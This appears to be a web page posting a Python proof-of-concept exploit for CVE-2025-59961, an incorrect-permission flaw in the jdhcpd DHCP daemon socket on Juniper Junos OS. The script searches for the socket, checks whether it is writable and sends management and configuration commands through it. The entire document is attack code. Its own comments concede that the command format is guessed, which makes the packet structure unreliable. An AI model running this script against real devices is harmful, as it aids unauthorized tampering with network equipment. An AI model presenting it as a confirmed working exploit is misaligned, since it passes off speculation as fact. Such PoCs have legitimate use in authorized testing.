CVE-2025-59961: Juniper Junos OS DHCP守护进程权限提升漏洞

#!/usr/bin/env python3 """ CVE-2025-59961 PoC - Juniper jdhcpd Unix Socket Exploitation Note: This PoC is for educational and authorized testing purposes only. """ import socket import os import struct def find_jdhcpd_socket(): """Find the jdhcpd Unix socket path""" common_paths = [ '/var/run/jdhcpd.sock', '/var/run/dhcpd.sock', '/var/run/junos/jdhcpd.sock', '/tmp/jdhcpd.sock' ] for path in common_paths: if os.path.exists(path): return path return None def exploit_jdhcpd(socket_path): """ Exploit the incorrect permission on jdhcpd Unix socket to execute management commands """ try: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(socket_path) # Example: Send DHCP management command # Command format varies based on jdhcpd implementation cmd_type = 0x01 # Management command type cmd_data = b'get_status\x00' # Construct command packet header = struct.pack('!BI', cmd_type, len(cmd_data)) packet = header + cmd_data sock.send(packet) response = sock.recv(4096) print(f"[+] Received response: {response}") # Example: Send configuration modification command cmd_type = 0x02 # Configuration command type config_cmd = b'set_pool 192.168.1.0/24\x00' header = struct.pack('!BI', cmd_type, len(config_cmd)) packet = header + config_cmd sock.send(packet) response = sock.recv(4096) print(f"[+] Configuration command sent successfully") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': print("CVE-2025-59961 - Juniper jdhcpd Socket Exploitation PoC") print("=" * 50) socket_path = find_jdhcpd_socket() if socket_path: print(f"[+] Found jdhcpd socket at: {socket_path}") print("[+] Checking socket permissions...") stat_info = os.stat(socket_path) print(f"[+] Socket permissions: {oct(stat_info.st_mode)}") if os.access(socket_path, os.W_OK): print("[!] Socket is writable by current user - VULNERABLE!") exploit_jdhcpd(socket_path) else: print("[-] Socket not writable - may need privilege escalation first") else: print("[-] jdhcpd socket not found")